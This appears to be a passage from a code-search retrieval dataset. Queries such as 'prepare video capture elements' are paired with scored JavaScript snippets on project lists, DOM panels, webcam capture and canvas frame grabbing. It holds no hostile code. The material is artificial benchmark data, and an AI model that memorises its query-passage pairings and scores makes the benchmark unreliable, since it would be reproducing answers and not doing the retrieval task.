"82ca0cf3ff166c091331f0d726c0c41a", "score": "0.5916796", "text": "function getAllprojects(req,res){\n Project.find(function(err,projects){\n if (err) {\n res.send(500,err.message);\n } else {\n res.json(projects);\n };\n });\n}", "title": "" }, { "docid": "0fd03ce7db637b18f66e0af52d6290d5", "score": "0.5911545", "text": "function getProjectsArray() {\n $http.get(\"/public/projects.json\").then(function(response){\n for (var i = 0; i < response.data.length; i++) {\n projects.push(response.data[i]);\n }//for\n });//end of $http\n }", "title": "" }, { "docid": "9274e4e7aa38d2bb7935e9afcdacc4c5", "score": "0.5906106", "text": "function DB_getAllProjects() {\n return new mongoose_1.Promise((resolve, reject) => {\n db_1.Projectmodel.find({}).exec((err, data) => {\n if (err) {\n reject(err);\n }\n else {\n resolve(data);\n }\n });\n });\n}", "title": "" }, { "docid": "73efc0a4e0e393e911454eb931309277", "score": "0.5874958", "text": "function getEligibleProjects() {\n \tEligibleProject.query(function(result) {\n vm.eligibleProjects = result;\n getAllPhotoForAllProject(result);\n });\n }", "title": "" }, { "docid": "ab15c2b368c7b3eda679003c3fed4449", "score": "0.58671933", "text": "function displayingProjects() {\n projectsDiv.childNodes.forEach(node => node.remove());\n // projectsDiv.childNodes.forEach(node => node.innerHTML = \"\");\n projectsDiv.append(showNames());\n // console.log(showNames());\n}", "title": "" }, { "docid": "5bf9845fca75fcab57fa1abf1d26f787", "score": "0.58670324", "text": "function leftPaneConstructor(projectArray) {\n //Temporarily create variables\n let totalTask = 0;\n let dueToday = 0;\n let dueThisWeek = 0;\n let totalProjects = projectArray.length;\n /////////////////////////////\n // Creates left Pane.\n const leftPane = document.createElement(\"div\");\n leftPane.id = \"leftPane\";\n leftPane.innerHTML = \"\";\n\n // Creates Today option.\n const taskDueToday = document.createElement(\"div\");\n taskDueToday.classList.add(\"flexEnd\");\n const textTaskDueToday = document.createElement(\"div\");\n textTaskDueToday.innerText = \"Today\";\n const numTaskDueToday = document.createElement(\"div\");\n numTaskDueToday.innerText = `${dueToday}`;\n taskDueToday.appendChild(textTaskDueToday);\n taskDueToday.appendChild(numTaskDueToday);\n leftPane.appendChild(taskDueToday);\n\n // Creates This Week option.\n const dueWeek = document.createElement(\"div\");\n dueWeek.classList.add(\"flexEnd\");\n const textWeek = document.createElement(\"div\");\n textWeek.innerText = \"This Week\";\n const numThisWeek = document.createElement(\"div\");\n numThisWeek.innerText = `${dueThisWeek}`;\n dueWeek.appendChild(textWeek);\n dueWeek.appendChild(numThisWeek);\n leftPane.appendChild(dueWeek);\n // Creates Proejcts flex for projects display.\n const displayProjects = document.createElement(\"div\");\n displayProjects.classList.add(\"flexColumn\");\n displayProjects.id = \"projectDisplay\";\n // Creates Projects option.\n const optionProject = document.createElement(\"div\");\n optionProject.classList.add(\"flexEnd\");\n const textProject = document.createElement(\"div\");\n textProject.innerText = \"Projects\";\n const container1 = document.createElement(\"div\");\n container1.classList.add(\"flexRow\");\n const numProject = document.createElement(\"div\");\n numProject.innerText = `${totalProjects}`;\n const dropdown = new Image();\n dropdown.src = drop;\n dropdown.addEventListener(\"click\", () => {\n displayProjects.classList.toggle(\"hidden\");\n });\n dropdown.classList.add(\"enclosedIMG\");\n optionProject.appendChild(textProject);\n container1.appendChild(numProject);\n container1.appendChild(dropdown);\n optionProject.appendChild(container1);\n leftPane.appendChild(optionProject);\n // Create add button inside displayProjects.\n const addProject = document.createElement(\"div\");\n addProject.addEventListener(\"click\", () => {\n addNewProject();\n });\n addProject.classList.add(\"flexEnd\");\n const textAddProject = document.createElement(\"div\");\n textAddProject.innerText = \"Add Project\";\n const addBtn = new Image();\n addBtn.src = add;\n addBtn.classList.add(\"enclosedIMG\");\n addProject.appendChild(textAddProject);\n addProject.appendChild(addBtn);\n // Adds ProjectList to displayProjects.\n const projectList = createProjectDOM(projectArray);\n // Adds add Projects Button to displayProjects.\n displayProjects.appendChild(addProject);\n displayProjects.appendChild(projectList);\n leftPane.appendChild(displayProjects);\n return leftPane;\n}", "title": "" }, { "docid": "56875c91de71e6be0e55414b4d4166a1", "score": "0.5859568", "text": "function renderLinkedProjectListElement(project) {\n var table = document.getElementById('project_list');\n var row = table.insertRow(-1);\n\n var id = project.project_id.toString();\n\n var name = row.insertCell(0);\n name.innerHTML = project.name;\n\n var desc = row.insertCell(1);\n desc.innerHTML = project.description;\n\n row.setAttribute(\"role\", \"button\");\n row.addEventListener('click', function(e) {\n window.location.href = basePath + 'project/index.html?project_id=' + id;\n });\n}", "title": "" }, { "docid": "c74db67e1dde16f3912f994244c78946", "score": "0.58585477", "text": "function displayProjects() {\n var personID = \"clotho.developer.katielewis1\";\n Clotho.get(personID).then(function (personObj) {\n var tableRef = document.getElementById(\"projTable\");\n if (personObj.projects.length > 0) {\n var newRow = tableRef.insertRow(0);\n var newCell = newRow.insertCell(0);\n Clotho.get(personObj.projects[0]).then(function (proj) {\n newCell.innerHTML = '<a href=\"./Projects.html\" style = \"display:block\"+ value =' + proj.id + ' onclick = \"projectDetails.call(this)\">' + proj.name + '</a>';\n });\n for (var i = 1; i < personObj.projects.length; i++) {\n Clotho.get(personObj.projects[i]).then(function (projectObj) {\n newRow = tableRef.insertRow(tableRef.rows.length);\n newCell = newRow.insertCell(0);\n newCell.innerHTML = '<a href=\"./Projects.html\" style = \"display:block\" value =' + projectObj.id + ' onclick = \"projectDetails.call(this)\">' + projectObj.name + '</a>';\n });\n\n }\n\n Clotho.get(personObj.projects[0]).then(function (projObj) {\n document.getElementById(\"projTitle\").innerHTML = projObj.name;\n document.getElementById(\"currentLab\").innerHTML = projObj.Lab;\n document.getElementById(\"currentLead\").innerHTML = projObj.projectLead;\n document.getElementById(\"currentPI\").innerHTML = projObj.PI;\n document.getElementById(\"currentAdvisor\").innerHTML = projObj.advisor;\n document.getElementById(\"projectDescription\").innerHTML = projObj.Description;\n });\n }\n else if(personObj.projects.length == 0){\n var id = document.getElementById(\"rightColumn\");\n var secondID = document.getElementById(\"createProject\");\n var thirdID = document.getElementById(\"notebookEntry\");\n thirdID.style.display = 'none';\n id.style.display='none';\n secondID.style.display = 'block';\n }\n\n\n });\n}", "title": "" }, { "docid": "7d1aa79d3f1f09fd3ad7b9fb67a790aa", "score": "0.5854202", "text": "show_project_panel_research(){\n this.pull_project_panel_research()\n var displacement = config.height - this.project_panel.y\n for(var i = 0; i < this.project_panel_components.length; i++){\n this.project_panel_components[i].y += displacement\n }\n }", "title": "" } ]
a344541385c03ee93b08f2e344db15e6
prepare video capture elements
[ { "docid": "e8dd17aa727c3005cd1309e2d05d56de", "score": "0.0", "text": "function initLivenessDesign() {\n document.querySelector('header').classList.add('d-none');\n document.querySelector('main').classList.add('darker-bg');\n session.videoMsgOverlays.forEach((overlay) => overlay.classList.add(settings.D_NONE_FADEOUT));\n session.loadingInitialized.classList.remove(settings.D_NONE_FADEOUT); // display loading until initialization is done\n}", "title": "" } ]
[ { "docid": "59a352930ab92a1f1543f5785f68575f", "score": "0.69051033", "text": "function preload() {\n video = createCapture(VIDEO);\n \n}", "title": "" }, { "docid": "f9c0263dc842dfbaee4ff120fdf992d6", "score": "0.674548", "text": "function manipulatevideo(){\n if( cameravideo || capturevideo ){\n cameravideo = false;\n capturevideo = false;\n capturestream = null;\n buttonOff(document.querySelector('.app__system--button.video'));\n camerastream.getVideoTracks()[0].enabled = cameravideo;\n document.getElementById('localvideo').srcObject = camerastream;\n //-------------------CREATE NEW PRODUCER-------------------------------------------\n removeOldVideoProducers();\n let videoProducer = mediasouproom.createProducer(camerastream.getVideoTracks()[0]);\n videoProducer.send(sendTransport);\n updatevideo();\n }\n}", "title": "" }, { "docid": "35dfaf4d4a9da7ed5f36729f820e9109", "score": "0.63076323", "text": "function setup() {\n createCanvas(800, 600);\n pixelDensity(1); //for retina displays\n capture = createCapture(VIDEO);\n capture.size(width / vScale, height / vScale);\n capture.hide();\n\n\n}", "title": "" }, { "docid": "1edb2b9a17b5075d8880a31440a4b5c6", "score": "0.62750876", "text": "function adaptElements() {\n const rect = document.body.getBoundingClientRect();\n const screenWidth = rect.width;\n const screenHeight = rect.height;\n const videoWidth = video.videoWidth;\n const videoHeight = video.videoHeight;\n const widthRatio = videoWidth / screenWidth;\n const heightRatio = videoHeight / screenHeight;\n const ratio = Math.min(widthRatio, heightRatio);\n // set image size and offset\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\n // adapt canvas size to input video size\n canvas.width = imageWidth;\n canvas.height = imageHeight;\n // adapt canvas size to screen\n image.width = screenWidth;\n image.height = screenHeight;\n // calculate video screen size and offset\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\n // resize and position video an screen\n video.width = videoScreenWidth;\n video.height = videoScreenHeight;\n video.style.left = `${-videoScreenX}px`;\n video.style.top = `${-videoScreenY}px`;\n // show live video\n resetVideo();\n }", "title": "" }, { "docid": "8cd0bd5d856da87e8416ca13e03eabec", "score": "0.62500155", "text": "function setup() {\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\n background(0);\n stroke(0, 255, 0);\n noFill();\n\n // make sure the framerate is the same between sending and receiving\n frameRate(30);\n\n // Set to true to turn on logging for the webrtc client\n WebRTCPeerClient.setDebug(true);\n\n // To connect to server over public internet pass the ngrok address\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\n\n // Start the peer client\n WebRTCPeerClient.initPeerClient();\n\n // start your video\n // your webcam will always appear below the canvas\n myVideo = createCapture(VIDEO);\n myVideo.size(width, height);\n myVideo.hide();\n\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\n // otherVideo = createCapture(VIDEO);\n // otherVideo.size(width, height);\n\n}", "title": "" }, { "docid": "4c3605e7e710cf27c648f05ccb822a5d", "score": "0.6166595", "text": "capture_() {\n this.checkSupport_();\n\n this.renderFrame().then(() => {\n this.getCanvas().then((canvas) => {\n if (canvas) {\n capture.saveCanvas(canvas);\n }\n }, this.onCaptureError, this);\n }, this.onCaptureError, this);\n }", "title": "" }, { "docid": "7ad08e79a67a3758802dca83e8431a04", "score": "0.6153839", "text": "function setup_canvases() {\n\t\tcanvas.width = video_element.scrollWidth;\n\t\tcanvas.height = video_element.scrollHeight;\n\t\toutput_element.width = video_element.scrollWidth;\n\t\toutput_element.height = video_element.scrollHeight;\n\t\tconsole.log(\"Canvas size is \" + video_element.scrollWidth + \" x \" + video_element.scrollHeight);\n\t}", "title": "" }, { "docid": "eeb3ed2fbe8dc8fd62eb64f08f2c7904", "score": "0.6142525", "text": "function setupVideos() {\n vid2 = $('#vid02')[0];\n vidSB01 = $('#vidSB01')[0];\n }", "title": "" }, { "docid": "279944358de10e65ae0c15066909dee2", "score": "0.61393636", "text": "function cpt( id, opts ){\n var el = id && document.querySelector( id ) || document.body\n , $el = id && $(id) || $(document.body)\n , img = opts ? (opts.image===null ? null : ( opts.image && document.querySelector( opts.image ) || getImage( el ))) : getImage( el )\n , video = opts && opts.video && document.querySelector( opts.video ) || getVideo( el )\n , canvas = getCanvas( el )\n , ctx = canvas.getContext( '2d' )\n , mstream = null\n , width = height = 0\n\n opts = opts || {}\n opts.quality = opts.quality || ( opts === 'hd' && hd ) || ( opts === 'vga' && vga ) || vga\n opts.extension = opts.extension || 'webp'\n\n function Capture(){ this.snapshot() }\n\n Capture.prototype.startStream = function(){\n navigator.getUserMedia({ video: opts.quality }, function( stream ){\n video.src = window.URL.createObjectURL( stream )\n mstream = stream\n $el.trigger( 'capture.stream.started', stream )\n }, window.alert.bind(window))\n }\n\n\n Capture.prototype.snapshot = function(){\n if ( !mstream ) return\n if ( width === 0 ){\n width = canvas.width = video.videoWidth;\n height = canvas.height = video.videoHeight;\n }\n ctx.drawImage( video, 0, 0, width, height )\n var dataurl = canvas.toDataURL('image/'+this.opts.extension)\n img && (img.src = dataurl)\n $el.trigger( 'capture.snapshot.taken', dataurl )\n }\n\n Capture.prototype.stream = function(){\n return mstream\n }\n\n var capture = new Capture()\n capture.opts = opts\n\n $el.on( 'capture.snapshot.take', capture.snapshot.bind(capture))\n $el.on( 'capture.stream.start', capture.startStream.bind(capture))\n $el.on( 'capture.stream.stop', function(){\n if (!mstream) return;\n mstream.stop();\n mstream = null;\n $el.trigger( 'capture.stream.stopped' )\n })\n\n $el.data('capture', capture )\n return capture\n }", "title": "" }, { "docid": "624f9ad6c98bb6ffae94ade8f87a39ab", "score": "0.6138004", "text": "function capture_frame(bptr, bw, bh, sx, sy, sw, sh, ww, wh) { \n if (capturingScreenshot) {\n capturingScreenshot = false;\n let pixels = new Uint8ClampedArray(HEAPU8.subarray(bptr, bptr + bw*bh*4));\n //console.log(`(${bw}x${bh}):(${sx},${sy}) ${sw}x${sh} => ${ww}x${wh}`);\n // Flip endianness and convert ARGB to RGBA \n // This is probably slower than doing it in WebGL but it doesn't\n // seem to add much overhead \n let dv = new DataView(pixels.buffer);\n for (let y=0 ; y < sh; y++) {\n for (let x=0; x < sw; x++) {\n let p = (sy+y)*bw*4 + (sx+x)*4;\n /*if (x==0 && y== 0) {\n console.log(pixels.slice(p, p+8));\n }*/\n dv.setUint32(p, (dv.getUint32(p, true)<<8)|0xff, false);\n }\n }\n let imgData = new ImageData(pixels, bw);\n\n // We can scale the bitmap using resizeWidth/resizeWidth but Firefox \n // doesn't support resizeQuality: pixelated. Instead scale on canvas\n createImageBitmap(imgData, sx, sy, sw, sh)\n .then(bitmap => {\n let canvas = document.createElement('canvas');\n let ctx = canvas.getContext('2d');\n canvas.width = ww;\n canvas.height = wh;\n ctx.imageSmoothingEnabled = false;\n ctx.drawImage(bitmap, 0, 0, ww, wh);\n saveEmulatorScreenshot(canvas);\n });\n } else if (capturingVideo) {\n window.videoFrames++;\n let offset = sy*bw*4 + sx*4;\n let pixels = new Uint8Array(HEAPU8.subarray(bptr+offset, bptr + bw*bh*4));\n videoWorker.postMessage(pixels.buffer, pixels.buffer);\n }\n}", "title": "" }, { "docid": "93cddecbdc2a4864c8074dc99146082e", "score": "0.6136565", "text": "function shoot(){\n\t var video = document.getElementById(videoId);\n\t var output = document.getElementById('output');\n\t var canvas = capture(video, scaleFactor);\n\t canvas.onclick = function(){\n\t window.open(this.toDataURL());\n\t };\n\t snapshots.unshift(canvas);\n\t output.innerHTML = '';\n\t for(var i=0; i<4; i++){\n\t output.appendChild(snapshots[i]);\n\t }\n\t}", "title": "" }, { "docid": "8bb15b711cf26ba85e805ac3a51d2356", "score": "0.61354744", "text": "function currentFrameCanvas(){\n let video = document.getElementById(\"video_id\");\n canvas = document.getElementById('screenShot');\n canvas.width = width;\n canvas.height = height;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n}", "title": "" }, { "docid": "5b64e75b1559602a3a117d415e3a0e7a", "score": "0.61084956", "text": "function snapshot(event) {\n event.preventDefault();\n\n// swaps between the webcam and screenshot\n $('#screenshot-canvas').toggleClass('dispnone')\n $('#webcam').toggleClass('dispnone')\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n ctx.drawImage(video, 0, 0);\n imageString = canvas.toDataURL('image/png')\n // console.log(\"imageString\", imageString)\n $('#canvasimage').attr('value', imageString)\n\n\n // \"image/webp\" works in Chrome.\n // Other browsers will fall back to image/png.\n // document.querySelector('img').src = canvas.toDataURL('image/webp');\n }", "title": "" }, { "docid": "a65dfe7882436156d563a3390ae14a5f", "score": "0.6095826", "text": "constructor() {\n super();\n /**\n * video source file or stream\n * @type {string}\n * @private\n */\n this._source = '';\n\n /**\n * use camera\n * @type {boolean}\n * @private\n */\n this._useCamera = false;\n\n /**\n * is component ready\n * @type {boolean}\n */\n this.isReady = false;\n\n /**\n * is video playing\n * @type {boolean}\n */\n this.isPlaying = false;\n\n /**\n * width of scaled video\n * @type {int}\n */\n this.videoScaledWidth = 0;\n\n /**\n * height of scaled video\n * @type {int}\n */\n this.videoScaledHeight = 0;\n\n /**\n * how the video is scaled\n * @type {string}\n * @default letterbox\n */\n this.videoScaleMode = 'contain';\n\n /**\n * what type of data comes back with frame data event\n * @type {string}\n * @default imagedataurl\n */\n this.frameDataMode = 'none';\n\n /**\n * determines whether to use the canvas element for display instead of the video element\n * @type {boolean}\n * @default false\n */\n this.useCanvasForDisplay = false;\n\n /**\n * canvas filter function (manipulate pixels)\n * @type {method}\n * @default 0 ms\n */\n this.canvasFilter = this.canvasFilter ? this.canvasFilter : null;\n\n /**\n * refresh interval when using the canvas for display\n * @type {int}\n * @default 0 ms\n */\n this.canvasRefreshInterval = 0;\n\n /**\n * video element\n * @type {HTMLElement}\n * @private\n */\n this.videoElement = null;\n\n /**\n * camera sources list\n * @type {Array}\n */\n this.cameraSources = [];\n\n /**\n * canvas element\n * @type {Canvas}\n * @private\n */\n this.canvasElement = null;\n\n /**\n * component shadow root\n * @type {ShadowRoot}\n * @private\n */\n this.root = null;\n\n /**\n * interval timer to draw frame redraws\n * @type {int}\n * @private\n */\n this.tick = null;\n\n /**\n * canvas context\n * @type {CanvasContext}\n * @private\n */\n this.canvasctx = null;\n\n /**\n * has the canvas context been overridden from the outside?\n * @type {boolean}\n * @private\n */\n this._canvasOverride = false;\n\n /**\n * width of component\n * @type {int}\n * @default 0\n */\n this.width = 0;\n\n /**\n * height of component\n * @type {int}\n * @default 0\n */\n this.height = 0;\n\n /**\n * left offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxLeft = 0;\n\n /**\n * top offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxTop = 0;\n\n /**\n * aspect ratio of video\n * @type {number}\n */\n this.aspectRatio = 0;\n\n /**\n * render scale for canvas frame data\n * best used when grabbing frame data at a different size than the shown video\n * @attribute canvasScale\n * @type {float}\n * @default 1.0\n */\n this.canvasScale = 1.0;\n\n /**\n * visible area bounding box\n * whether letterboxed or cropped, will report visible video area\n * does not include positioning in element, so if letterboxing, x and y will be reported as 0\n * @type {{x: number, y: number, width: number, height: number}}\n */\n this.visibleVideoRect = { x: 0, y: 0, width: 0, height: 0 };\n\n this.template = `\n <style>\n ccwc-video {\n display: inline-block;\n background-color: black;\n position: relative;\n overflow: hidden;\n }\n \n ccwc-video > canvas {\n position: absolute;\n }\n \n ccwc-video > video {\n position: absolute;\n }\n </style>\n\n <video autoplay=\"true\"></video>\n <canvas></canvas>`;\n }", "title": "" }, { "docid": "54eb41025b7d71d28ca9798f800af658", "score": "0.60811335", "text": "function makeCanvases() {\n w = _this.media.videoWidth;\n h = _this.media.videoHeight;\n \n // create a canvas to display the color-changed video, and a div to hold the canvas\n var candiv = document.createElement('div');\n candiv.style.position = 'absolute';\n _mediaHolder.appendChild(candiv);\n candiv.style.top = _media.offsetTop + 'px'; // so that the canvas will appear over the video\n candiv.style.left = _media.offsetLeft + 'px';\n _colorCanvas = document.createElement('canvas');\n _colorCanvas.style.display = 'none';\n _colorCanvas.width = w;\n _colorCanvas.height = h;\n candiv.appendChild(_colorCanvas);\n \n _colctx = _colorCanvas.getContext('2d');\n options.colorCanvas = _colorCanvas;\n \n // create a buffer canvas to hold each frame for processing\n // note that it just \"floats\" and is never appended to the document\n _bufferCanvas = document.createElement('canvas');\n _bufferCanvas.style.display = 'none';\n _bufferCanvas.width = w;\n _bufferCanvas.height = h;\n _bufctx = _bufferCanvas.getContext('2d');\n options.bufferCanvas = _bufferCanvas;\n console.log('The variable bufctx is ' + _bufctx);\n \n \n if (_coloring === \"color-no-change\"){\n return;\n }\n else if (_coloring === \"blackwhite\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n console.log('Playing. The variable bufctx is ' + _bufctx);\n options.redrawID = makeBW(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"sepia\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = makeSepia(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"custom\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = adjustColor(_media, _bufctx, _colctx, w, h, framecounter, _redAdd, _greenAdd, _blueAdd);\n });\n }\n }", "title": "" }, { "docid": "1f3cc4daa2560f930ca3f87f739c6fc6", "score": "0.6068193", "text": "function capture (cb) {\n console.log(cb);\n var vw = 640;\n var vh = 480;\n var fr = 24;\n var config = {\n audio: false,\n video: {\n width: vw,\n height: vh,\n frameRate: fr\n }\n };\n var p = undefined\n p = navigator.mediaDevices.getUserMedia(config)\n p.then(cb).catch(function (error) {\n console.error(error);\n });\n $.alert({\n title: 'Attention!',\n content:'Connection in progress! Please stand by! Click ok to continue!',\n });\n // document.getElementById(\"presenter\").style.display = \"none\";\n if(!$('#xprowebinarPublisherCamera').length){\n $( \"#xprowebinarSubscriberCamera\" ).css('display', 'none');\n $('.selectvidimage').before('<video id=\"xprowebinarPublisherCamera\" class=\"red5pro-media red5pro-media-background\" autoplay controls muted></video>');\n\n if(!$('#selectvidimage').length){\n $( \"#selectvidimage\" ).css('display', 'initial');\n }else{\n $( \"#selectvidimage\" ).css('display', 'none');\n }\n \n }\n }", "title": "" }, { "docid": "33862cb805b875f26d69be68446cdecc", "score": "0.60581917", "text": "function video_panel_function() {\r\n //container\r\n document.getElementById('crear_GIF').innerHTML = \"\";\r\n document.getElementById('crear_GIF').appendChild(document.createElement(\"div\")).className = \"confirm_crear_GIF phase2\";\r\n //video\r\n document.getElementsByClassName('confirm_crear_GIF phase2')[0].appendChild(document.createElement(\"video\")).className = \"video\";\r\n //title\r\n document.getElementsByClassName('confirm_crear_GIF phase2')[0].appendChild(document.createElement(\"div\")).className = \"confirm_crear_GIF_title\";\r\n document.getElementsByClassName('confirm_crear_GIF phase2')[0].appendChild(document.createElement(\"img\")).id = \"close_GIF\";\r\n document.getElementById('close_GIF').setAttribute(`src`, `./images/button3.svg`);\r\n document.getElementsByClassName('confirm_crear_GIF_title')[0].appendChild(document.createElement(\"p\")).innerHTML = \"Un chequeo antes de empezar\";\r\n //buttom\r\n document.getElementsByClassName('confirm_crear_GIF phase2')[0].appendChild(document.createElement(\"button\")).className = \"buton_comenzar capturar\";\r\n document.getElementsByClassName('buton_comenzar capturar')[0].innerHTML = \"Capturar\";\r\n document.getElementsByClassName('capturar')[0].addEventListener('click', record_gif_function);\r\n document.getElementsByClassName('confirm_crear_GIF phase2')[0].appendChild(document.createElement(\"button\")).className = \"buton_comenzar camera\";\r\n document.getElementsByClassName('buton_comenzar camera')[0].appendChild(document.createElement(\"object\")).id = \"camera_object\";\r\n document.getElementById('camera_object').setAttribute(`data`, `./images/camera.svg`);\r\n document.getElementById('camera_object').setAttribute(`type`, `image/svg+xml`);\r\n document.getElementsByClassName('camera')[0].addEventListener('click', record_gif_function);\r\n return document.getElementsByClassName('video')[0];\r\n }", "title": "" }, { "docid": "730a9ad2bc95736a36441208084f767c", "score": "0.6031669", "text": "_setupCanvas() {\n\t\tconst {video, elements} = this;\n\n\t\tconst virtualCanvas = elements.virtualCanvas = document.createElement('canvas');\n\n\t\tthis.context = elements.canvas.getContext('2d');\n\t\tthis.virtualContext = virtualCanvas.getContext('2d');\n\n\t\telements.canvas.width = virtualCanvas.width = video.videoWidth;\n\t\telements.canvas.height = virtualCanvas.height = video.videoHeight;\n\t}", "title": "" }, { "docid": "2957aaff450db53067f9251b762fe739", "score": "0.60155666", "text": "function takeSnapshot() {\n const context = canvas.getContext(\"2d\");\n context.drawImage(video, videoX, videoY, imageWidth, imageHeight, 0, 0, imageWidth, imageHeight);\n const srcDataUrl = canvas.toDataURL(\"image/png\");\n image.setAttribute(\"src\", srcDataUrl);\n // hide video and show image\n video.classList.add(\"hide\");\n image.classList.remove(\"hide\");\n // update instructions overlay\n instructions.innerHTML = \"tap screen to display camera capture\";\n }", "title": "" }, { "docid": "10f6d34510e7cd5599f7bd7a7a1dbb9f", "score": "0.6015194", "text": "function captureVideo() {\n // Launch device video recording application, \n // allowing user to capture up to 1 video clips\n navigator.device.capture.captureVideo(captureSuccess, captureError, {limit: 1, duration: 90});\n }", "title": "" }, { "docid": "1e0c48a673f2c652cc5c2120298b8ffc", "score": "0.5997546", "text": "function captureCurrentFrame(videoElement){\n return getTempCanvasAndContext(videoElement).canvas.toDataURL('image/png');\n }", "title": "" }, { "docid": "1c35a4ac640c9e26fb1fe8bff1b144aa", "score": "0.5991515", "text": "async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'environment',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}", "title": "" }, { "docid": "4bfb631106b4aadd2f5d4aef74be632d", "score": "0.598716", "text": "function videoReady() { }", "title": "" }, { "docid": "5f5667c94b578347a8a94b34d4728c64", "score": "0.5983982", "text": "async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}", "title": "" }, { "docid": "825cdd4f0aa6ab00079028e8e208147a", "score": "0.59753245", "text": "function setup() {\n createCanvas(windowWidth, windowHeight);\n capture = createCapture(VIDEO);\n capture.size(windowWidth, windowHeight);\n capture.hide();\n background(255, 0, 200);\n}", "title": "" }, { "docid": "77e0c48f59710ea7e6809ade59120e84", "score": "0.5973303", "text": "function createPreview() {\n\n // Create fullscreen preview\n capturePreview = document.createElement(\"video\");\n capturePreview.style.cssText = \"position: absolute; left: 0; top: 0; width: 100%; height: 100%; background: black\";\n\n capturePreviewAlignmentMark = document.createElement('div');\n capturePreviewAlignmentMark.style.cssText = \"position: absolute; left: 0; top: 50%; width: 100%; height: 3px; background: red\";\n\n // Create cancel button\n captureCancelButton = document.createElement(\"button\");\n captureCancelButton.innerText = \"Cancel\";\n captureCancelButton.style.cssText = \"position: absolute; right: 0; bottom: 0; display: block; margin: 20px\";\n captureCancelButton.addEventListener('click', cancelPreview, false);\n\n capture = new Windows.Media.Capture.MediaCapture();\n }", "title": "" }, { "docid": "96be43c2fa5719291cf6b5b70ba9364e", "score": "0.59649414", "text": "function prepareVideo(html5vid) {\n\n\t if (!html5vid.hasClass(\"haslistener\")) {\n\t// \ttry {\n\t\t\t\t var videoID = \"videoid_\"+Math.round(Math.random()*100000+1);\n\t\t\t\t html5vid.attr('id',videoID);\n\t\t\t\t var myVideo=document.getElementById(videoID);\n\t\t\t\t myVideo.oncanplay=html5vidready(myVideo,html5vid,videoID);\n\n\t\t\t\t html5vid.addClass(\"haslistener\").addClass(\"esg-htmlvideo\");\n\n\t\t//\t} catch(e) { return false }\n\t} else {\n\t\ttry {\n\t\t\t var id = html5vid.attr('id');\n\t\t\t var myVideo=document.getElementById(id);\n\n\t\t\t if (typeof myVideo.play==\"function\" && html5vid.hasClass(\"readytoplay\"))\n\t\t\t return true;\n\t\t\telse\n\t\t\t return false;\n\t\t\t } catch(e) { return false}\n\t}\n}", "title": "" }, { "docid": "c8778140f02e9d8135ddb5797be4fd2a", "score": "0.5963213", "text": "function loadCamera() {\n // setup camera capture\n videoInput = createCapture(VIDEO);\n videoInput.size(400, 300);\n videoInput.position(0, 0);\n videoInput.id(\"v\");\n var mv = document.getElementById(\"v\");\n mv.muted = true;\n}", "title": "" }, { "docid": "bf66d163cef286938c21481a70f7f8ff", "score": "0.5942217", "text": "_handleNewFrame(frame){\n\t\tif(this._vrDisplay){\n\t\t\tif (this._arCoreCameraRenderer) {\n\t\t\t\tthis._arCoreCameraRenderer.render()\n\t\t\t}\n\t\t\tthis._vrDisplay.getFrameData(this._vrFrameData)\n\t\t}\n\n\t\t// WebRTC video\n\t\tif (this._videoEl && this._sendVideoFrame && !this._videoFramesPaused) {\n\t\t\tthis._sendVideoFrame = false;\n\t\t\t\n\t\t\tvar canvasWidth = this._videoRenderWidth;\n\t\t\tvar canvasHeight = this._videoRenderHeight;\n\t\t\tthis._videoCtx.drawImage(this._videoEl, 0, 0, canvasWidth, canvasHeight);\n\t\t\tvar imageData = this._videoCtx.getImageData(0, 0, canvasWidth, canvasHeight);\n\n\t\t\tvar data = imageData.data\n\t\t\tvar len = imageData.data.length\n\t\t\t// imageData = new ArrayBuffer(len)\n\t\t\t// var buffData = new Uint8Array(imageData);\n\t\t\t// for (var i = 0; i < len; i++) buffData[i] = data[i] \n\t\t\t\n\t\t\tvar buffers = [\n\t\t\t\t{\n\t\t\t\t\tsize: {\n\t\t\t\t\t width: canvasWidth,\n\t\t\t\t\t height: 